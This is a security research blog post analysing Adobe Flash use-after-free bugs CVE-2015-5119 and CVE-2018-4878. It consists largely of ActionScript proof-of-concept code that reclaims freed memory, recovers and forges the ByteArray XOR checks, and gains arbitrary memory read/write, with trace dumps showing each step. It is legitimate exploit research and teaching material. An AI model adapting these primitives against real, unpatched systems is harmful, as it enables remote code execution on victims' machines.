Blog

Adobe Flash Exploitation, Then and Now: From CVE-2015-5119 to CVE-2018-4878

09/02/2018 | Author: Admin

Adobe Flash Exploitation, Then and Now: From CVE-2015-5119 to CVE-2018-4878

Last week, it was reported that an exploit was being used to spread the ROKRAT malware. What made this so interesting is that Flash was being used by an APT group after what seems like a period of absence. We couldn’t help wonder what had changed and just how this latest exploit worked.

In this post we will walk through a traditional Flash exploit, and look to understand just how this latest sample works to bypass some of the hardening introduced in the Flash environment.

Let’s begin by taking a look at an exploit that had a role to play in some of the latest Flash mitigations, CVE-2015-5119, commonly known as the HackingTeam Flash 0day.

CVE-2015-5119 Internals

Back in July 2015, Hacking Team experienced a breach in which a number of internal emails, application source code and exploits were released into the wild. Included in the leak was an exploit for what would become known as CVE-2015-5119, a remote code execution flaw in Flash 16.

The vulnerability was categorised as a “Use-After-Free“, meaning that memory was being released to Flash for later use without updating all object references.  Let’s take a look at a quick sample which will trigger the exploit:

public class VulnSimple
{
static var _ba :ByteArray;
prototype.valueOf = function() {
_ba.length = 0x1000;
}
public static function TryExpl() :Boolean {
_ba = new ByteArray();
_ba.length = 0xfa0;
_ba[0] = new VulnSimple();
// here, _ba is pointing to free’d memory
return false;
}
}

Compiling this ActionScript code, and execute the SWF using Flash version 16.0.0.287, we find that the _ba ByteArray ends up pointing to free’d memory.

If we review the source code of Flash, we can get an idea as to what is causing this flaw. First, we have a ByteArray with a length of 0xfa0 which we assign an object to. If we review the corresponding source code, we see that the “ByteArrayObject::setUintProperty” is responsible for handling this assignment:

void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
m_byteArray[i] = uint8_t(AvmCore::integer(value));
}

Here we see that the “value” parameter, which in our case is an Object reference, is passed to the “AvmCore::integer” function in which the type is checked:

/*static*/ int32_t AvmCore::integer(Atom atom)
{
const int kind = atomKind(atom);
if (kind == kIntptrType)
{

}
else if (kind == kBooleanType)
{

}
else
{
// TODO optimize the code below.
return (int32_t)integer_d(number(atom));
}
}

Our parameter is then passed to the “number” method:

/*static*/ double AvmCore::number(Atom atom)
{
for (;;)
{
const int kind = atomKind(atom);

// all other cases are relatively rare
switch (kind)
{

case kObjectType:
atom = AvmCore::atomToScriptObject(atom)->defaultValue();
break; // continue loop, effectively a tailcall
}
}
//AvmAssert(0); // can’t get here
//return 0.0;
}

Here we see that our Object is passed to “AvmCore::atomToScriptObject“, which converts the value back to a “ScriptObject“:

REALLY_INLINE /*static*/ ScriptObject* AvmCore::atomToScriptObject(const Atom atom)
{
AvmAssert(atomKind(atom)==kObjectType);
return (ScriptObject*)atomPtr(atom);
}

Finally, our “valueOf” property is invoked:

Atom ScriptObject::defaultValue()
{
AvmCore *core = this->core();
Toplevel* toplevel = this->toplevel();
Atom atomv_out[1];
// call this.valueOf()
// NOTE use callers versioned public to get correct valueOf
Multiname tempname(core->findPublicNamespace(), core->kvalueOf);
atomv_out[0] = atom();
Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);

}

It is within the “valueOf” function that we force our ByteArray to be reallocated, however the Flash pointer “m_byteArray” is never updated, meaning that after “valueOf” is called and memory is reallocated, “m_byteArray” becomes a dangling pointer.

Exploiting CVE-2015-5119 via Vector.<uint>

Now that we understand the vulnerability, let’s take a look at just how this was exploited.

When exploiting this kind of flaw in Flash, we want to populate the free’d memory with an object which will allow us to control execution or modify memory…. enter Vector.<uint>. A Vector object is quite straightforward, being initialised with:

var v :Vector.<uint> = new Vector.<uint>(20);

When initialised, the object will consist of the following memory layout:

[LEN] [METADATA_PTR] [uint 1] [uint 2] [uint 3] [uint X] …

The length of a Vector.<uint> can be retrieved in ActionScript with:

v.length

And the contents of the vector are retrieved with:

v[0]

Now, if we are in a position to corrupt the “Length” property, what we find is that we have a pretty strong R/W primitive. For example, if we were to populate the memory holding the “Length” property with 0xFFFFFFFF, we would be in a position to manipulate arbitrary memory.

Let’s update the exploit to show this in action.

public function exploit() {
var a :Array;
var o :Object = new Object();
var ba :ByteArray = new ByteArray();
ba.length = 0xfa0;
o.valueOf = function() {
ba.length = 0x11000;
a = new Array(90);
for (var i:int; i < 90; i++) {
a[i] = new Vector.<uint>(0x3f0);
}
return 0x40;
}
ba[3] = o;
for (var i = 0; i < 90; i++) {
if (a[i].length != 0x3f0) {
AddToLog(“Modified Vector at Array Offset ” + i);
AddToLog(“Modified Vector length ” + a[i].length.toString(16));
}
}
}

Here, we see the following steps are taken:

  1. A new ByteArray (ba) is created and assigned a length of 0xfa0.
  2. A value is assigned to offset 3 of the ByteArray, which causes the “valueOf” method to be invoked.
  3. The “valueOf” method changes the size of the ByteArray, forcing a reallocation of memory, but leaving “ba” pointing to the original allocation.
  4. A number of <uint> are created of size 0x3f0 with the aim of forcing the previous ByteArray memory to now point to a Vector.<uint>
  5. 0x40 is returned, causing the “ba” pointer (which is now pointing to a <uint> to update the “length” property to 0x40003F0.
  6. The corrupted <uint> is found in memory by checking for any “length” property which is not the original 0x3f0 bytes.

This results in the ability to read/write memory arbitrarily, giving the user the ability to write shellcode and force it’s execution.

Google Project Zero mitigations

In a post dated July 16th 2015, Google Project Zero referenced the HackingTeam exploit and announced that they had worked with Adobe to introduce a number of methods to harden Flash. The full post can be found here, in which 3 such hardening methods were introduced:

  1. Stronger randomization for the Flash heap
  2. <uint> buffer heap partitioning
  3. <*> length validation

Of the 3 mitigations, we see that the above technique of corrupting the length property of a Vector.<uint> has been mitigated in 2 ways. First, Vectors were moved to a separate area of memory, isolated from any potential overflows which may allow tampering with the “length” property. Secondly, a number of checks were introduced into the Vector object to ensure that if the “length” property was corrupted, the runtime would detect this corruption and halt execution.

This length validation method was implemented as an XOR key. Similar to stack-canaries, a number of attractive properties from the Vector object were XOR’d with a key, and the resulting value stored, allowing a simple way to detect a corrupted value.

Analysing The TEMP.Reaper Exploit

After the mitigations were introduced, things seemed to quiet down. Then, a new vulnerability surfaced, CVE-2018-4878.

The details of the vulnerability were kept quiet, so like many security researchers, we grabbed a copy of the malware and began to reverse engineer the sample.

Taking a copy of the SWF file and disassembling, we find that on loading the SWF, a request is made to a C2 server:

The response contains a key, which allows the embedded SWF exploit to be decrypted:

Unfortunately, this is where things came to a halt. All of the samples we analysed contained C2 servers which were no longer accessible, meaning that we were unable to recover the 100 byte XOR decryption key to analyse the exploit. Additionally, those lucky enough to hold the decryption key were not too forthcoming with sharing, meaning all we could do was wait until the details were disclosed.

Slowly details did start to become available, in the form of redacted, partial screenshots and posts focusing on the flaw without showing the path of gaining a R/W primitive. After a few late nights, we were able to recreate the vulnerability and understand just what was happening to bypass the introduced hardening.

Analysing CVE-2018-4878

First, let’s show how the vulnerability is triggered with a simple example:

public function triggeruaf() : void {
var sdk :PSDK = null;
var dispatch:PSDKEventDispatcher = null;
sdk = PSDK.pSDK;
dispatch = sdk.createDispatcher();
this.mediaplayer = sdk.createMediaPlayer(_loc2);
this.listener = new MyListener();
this.mediaplayer.drmManager.initialize(this.listener);
this.listener = null;
}
public function runexploit() : void {
this.triggeruaf();
try {
new LocalConnection().connect(“foo”);
new LocalConnection().connect(“foo”);
} catch (e:Error) {
this.danglingpointer = new MyListener();
}
}
public class MyListener implements DRMOperationCompleteListener
{
public function MyListener()
{
super();
}
public function onDRMOperationComplete():void {
trace(“IN COMPLETE”);
}
public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {
trace(“IN ERROR”);
}
}

The flaw here exists within the DRMManager’s “initialize” call, which is expecting an object implementing the DRMOperationCompleteListener interface. Before this can be used, the object is free’d by setting “this.listener” to NULL, forcing the allocated memory to be released by the garbage collector.

Next we are allocating a further DRMOperationCompleteListener object and holding a reference to this within the “danglingpointer” variable. It is this object that is free’d, however the “danglingpointer” variable still references this memory, meaning that we have a use-after-free condition.

If we continue reviewing what was disclosed of the exploit, we see the addition of a timer:

public function runexploit() : void {
this.triggeruaf();
try {
new LocalConnection().connect(“foo”);
new LocalConnection().connect(“foo”);
} catch (e:Error) {
this.danglingpointer = new MyListener();
}
this.timer = new Timer(100, 1000);
this.timer.addEventListener(“timer”, this.uafcheck);
this.timer.start();
}

This timer calls a new function which checks for the UAF condition:

public function uafcheck(param1:TimerEvent) : void {
if (this.danglingpointer.a1 != 0x31337) {
// If here, we know that we have a danglingpointer, so we stop the timer
this.timer.stop();
}
}

This timer is used to check at periodic intervals if our “danglingpointer” object has been free’d, and is now pointing to free’d memory. Eventually this is the case, which allows us to populate this free space with another object.

At this point, things get a little hazy. Of the screenshots and samples we found available, none appeared to share the details of the class used to generate the object populating this memory (specifically the “Mem_Arr” class). We did however find a way to exploit the vulnerability, recreating what we believed this class was doing, however if you have a copy of the malware, we would be interested to see just how close we were in matching the malware’s exploit.

We know from discussions online that the primitive being used to gain control over Flash was a ByteArray, meaning that we want to populate the free’d memory with a ByteArray object:

The issue however is that we know that a ByteArray will likely not be allocated in the place of a free’d DRMOperationCompleteListener object due to size differences. We can however create a new class which extends the ByteArray class and add additional properties to extend the object size. To do this, we create a new class, “Mem_Arr“:

public class Mem_Arr extends ByteArray
{
var a1:uint = 0x31338;
var a2:uint = 0x31338;
var a3:uint = 0x31338;
var a4:uint = 0x31338;
var a5:uint = 0x31338;
var a6:uint = 0x31338;
var a7:uint = 0x31338;
var a8:uint = 0x31338;
var a9:uint = 0x31338;
var a10:uint = 0x31338;
var a11:uint = 0x31338;
var a12:Object = 0x31338;
var a13:Object = 0x31338;
var a14:Object = 0x31338;
var a15:Object = 0x31338;
var a16:Object = 0x31338;
public function Mem_Arr()
{
}
}

Additionally, we will also modify our “MyListener” object to contain a number of additional properties:

public class MyListener implements DRMOperationCompleteListener
{
var a1:uint = 0x31337;
var a2:uint = 0x31337;
var a3:uint = 0x31337;
var a4:uint = 0x31337;
var a5:uint = 0x31337;
var a6:uint = 0x31337;
var a7:uint = 0x31337;
var a8:uint = 0x31337;
var a9:uint = 0x31337;
var a10:uint = 0x31337;
var a11:uint = 0x31337;
var a12:uint = 0x31337;
var a13:uint = 0x31337;
var a14:uint = 0x31337;
var a15:uint = 0x31337;
var a16:uint = 0x31337;
var a17:uint = 0x31337;
var a18:uint = 0x31337;
var a19:uint = 0x31337;
var a20:uint = 0x31337;
var a21:uint = 0x31337;
var a22:uint = 0x31337;
var a23:uint = 0x31337;
var a24:uint = 0x31337;
var a25:uint = 0x31337;
var a26:uint = 0x31337;
var a27:uint = 0x31337;
var a28:uint = 0x31337;
var a29:uint = 0x31337;
var a30:uint = 0x31337;
var a31:uint = 0x31337;
var a32:uint = 0x31337;
var a33:uint = 0x31337;
var a34:uint = 0x31337;
public function MyListener()
{
super();
}
public function onDRMOperationComplete():void {
trace(“IN COMPLETE”);
}
public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {
trace(“IN ERROR”);
}
}

The reason for this is to ensure that both “MyListener” and “Mem_Arr” objects are similar in size, allowing us to replace the free’d “MyListener” object memory with a “Mem_Arr”.

We will also update our “uafcheck” function to dump memory from the “Mem_Arr” object to make sure we are on the right track:

public function uafcheck(param1:TimerEvent) : void {
if (this.danglingpointer.a1 != 0x31337) {
// If here, we know that we have a danglingpointer, so we stop the timer
this.timer.stop();
// Allocate our new extended ByteArray
var buffer = new Mem_Arr();
buffer.length = 0x512;
buffer.position = 0x31;
// Here, we have a MyListener object (this.danglingpointer)
// which is actually pointing to a Mem_Arr (buffer) object
// Memory dump of the Mem_Arr object
trace(“===============”);
trace(this._vuln2.a1.toString(16));
trace(this._vuln2.a2.toString(16));
trace(this._vuln2.a3.toString(16));
trace(this._vuln2.a4.toString(16));
trace(this._vuln2.a5.toString(16));
trace(this._vuln2.a6.toString(16));
trace(this._vuln2.a7.toString(16));
trace(this._vuln2.a8.toString(16));
trace(this._vuln2.a9.toString(16));

}
}

Now, if we execute this SWF, we find that our trace log contains the following:

===============
db8293c
44
0
64414f44
6445f9e4
64414f40
6446acf8
db17f60
8805000
89ef910
0
0
31
64414f30
99d5020
0
0
64414f38
3
0
31338
31338
31338
31338
31338

Whilst this may just look like a random sequence of DWORD’s at first, let’s actually look at what we have. First, we see a value of “0x31“, which is actually the “position” property value that we updated the ByteArray/Mem_Arr object to.

Reviewing the source code for the ByteArray class, we know that a ByteArray actually consists of the following properties:

private:
Toplevel* const m_toplevel;
MMgc::GC* const m_gc;
WeakSubscriberList m_subscribers;
MMgc::GCObject* m_copyOnWriteOwner;
uint32_t m_position;
FixedHeapRef<Buffer> m_buffer;
bool m_isShareable;

One of these properties is “m_position” which holds the “position” property. This means we are on the right track, and now have the ability to manipulate the underlying memory of a ByteArray.

What actually interests us is found in the “m_buffer” property, which is a pointer to a Buffer object containing the following:

public:
uint8_t* array;
uint32_t capacity;
uint32_t length;
// Thanks to “Guanxing Wen” for the following (https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own.pdf)
uint32_t copyOnWrite;
uint32_t check_array;
uint32_t check_capacity;
uint32_t check_length;
uint32_t check_copyOnWrite;

Here we see one of the mitigations introduced in the Google Project Zero post, a number of properties which are used as XOR check values. We need a way to access this structure by dereferencing the m_buffer address.

To do this, we added a new class:

public class Modify
{
var a1:uint = 0x31339;
var a2:uint = 0x31339;
var a3:uint = 0x31339;
var a4:uint = 0x31339;
var a5:uint = 0x31339;
var a6:uint = 0x31339;
var a7:uint = 0x31339;
var a8:uint = 0x31339;

}

And added a reference to this class from our Mem_Arr class:

public class Mem_Arr extends ByteArray
{
var a1:uint = 0x31338;
var a2:uint = 0x31338;
var a3:uint = 0x31338;
var a4:uint = 0x31338;
var a5:uint = 0x31338;
var a6:uint = 0x31338;
var a7:uint = 0x31338;
var a8:uint = 0x31338;
var a9:uint = 0x31338;
var a10:uint = 0x31338;
var o1:Modify = new Modify();
var a12:Object = 0x31338;
var a13:Object = 0x31338;
var a14:Object = 0x31338;
var a15:Object = 0x31338;
var a16:Object = 0x31338;
public function Mem_Arr()
{
}
public function DumpPointer() : void {
trace(“–> ” + this.o1.a1.toString(16));
trace(“–> ” + this.o1.a2.toString(16));
trace(“–> ” + this.o1.a3.toString(16));
trace(“–> ” + this.o1.a4.toString(16));
trace(“–> ” + this.o1.a5.toString(16));
trace(“–> ” + this.o1.a6.toString(16));
trace(“–> ” + this.o1.a7.toString(16));
trace(“–> ” + this.o1.a8.toString(16));
trace(“–> ” + this.o1.a9.toString(16));
trace(“–> ” + this.o1.a10.toString(16));
trace(“–> ” + this.o1.a11.toString(16));
}
}

The idea here is to set the “o1” property of our “Mem_Arr” object via our dangling pointer to the “m_buffer” address, and then dereference the object via the “Modify” class. We update the “o1” property with:

// Set o1 to the m_buffer
this.danglingpointer.a31 = this.danglingpointer.a15 – 0x10;
this.buffer.DumpPointer();

Executing this this, we see the following returned logged values:

–> 64414f28
–> 1
–> 8c34ab0
–> 512
–> 512
–> 0
–> b9baa73b
–> b179e899
–> b179e899
–> b179ed8b
–> 0
–> 0

Here we clearly see our ByteArray length of 0x512, again indicating that we are in the right place. Let’s overlay these values to the ByteArray object:

–> 64414f28
–> 1
–> 8c34ab0   uint8_t* array;
–> 512       uint32_t capacity;
–> 512       uint32_t length;
–> 0         uint32_t copyOnWrite;
–> b9baa73b  uint32_t check_array;
–> b179e899  uint32_t check_capacity;
–> b179e899  uint32_t check_length;
–> b179ed8b  uint32_t check_copyOnWrite;
–> 0
–> 0

So here we have the ability to modify the underlying memory of the “Buffer” object.

Interestingly, we also see here that we can recover the XOR key via the “check_copyOnWrite” value which is 0 ^ KEY, so in this case we know that our XOR key is actually b179ed8b.

Let’s add a new method to “Mem_Arr” to update “m_buffer” to point to a base address of 0x00000000 and hold a limit of 0xFFFFFFFF:

public function UpdateBuffer() : void {
var xorkey = this.o1.a10;
// Set our address to 0, and length to max
this.o1.a3 = 0;
this.o1.a4 = 0xFFFFFFFF;
this.o1.a5 = 0xFFFFFFFF;
// Update the XOR check
this.o1.a7 = this.o1.a3 ^ xorkey;
this.o1.a8 = this.o1.a4 ^ xorkey;
this.o1.a9 = this.o1.a5 ^ xorkey;
}

And that’s it… when triggered, the Buffer length is set to 0xFFFFFFFF, base address is set to 0x00000000, and the security checks are updated.

Using this primitive, we now have total control over the Flash environment, with the ability to overwrite arbitrary memory locations:

Source code for the exploit can be found on the MDSec ActiveBreach github.

That’s not all folks

Whilst recreating the above vulnerability, we actually came across another interesting way to manipulate memory contents without having to use a ByteArray or Vector.<uint> and having to deal with the XOR protection.

By leveraging object references, like that used above to read the “m_buffer” property, we actually have a pretty stable R/W primitive.

For example, let’s modify our above POC to attempt to read an arbitrary memory location. Here we will set the “o1” reference to 0x41414141:

// Set o1 to 0x41414141
this.danglingpointer.a31 = 0x41414141 – 0x10;

And invoke a new function added to Mem_Arr, RW():

public function RW() : void {
this.o1.a1 = 0x31337;
}
this.buffer.RW();

And rerun our sample:

Here we can see that using this object dereference, we can overwrite any memory location with a value of our choosing.

Again, we do not have access to the full malware sample, but we would be interested to know if this technique was used by the original exploit.

In our next post we will be looking at how you can use the above primitive to launch custom shellcode. So what is the takeaway from all this? Well the first is that Flash exploitation can still operate in place of hardening added by Adobe, especially in instances such as a Use-After-Free, where we have total control over property values and are in a position to leak memory.

Secondly, there are multiple ways to manipulate arbitrary memory in Flash when you have the ability to corrupt objects, although hardening has been introduced in areas such as Vector.<uint> and ByteArray, Object dereferencing can be just as useful.

This blog post and research was completed by Adam Chester of MDSec.

Ready to start testing your applications?

Speak to one of our industry experts and find out how MDSec can help your business.

+44 (0) 1625 263 503

contact@mdsec.co.uk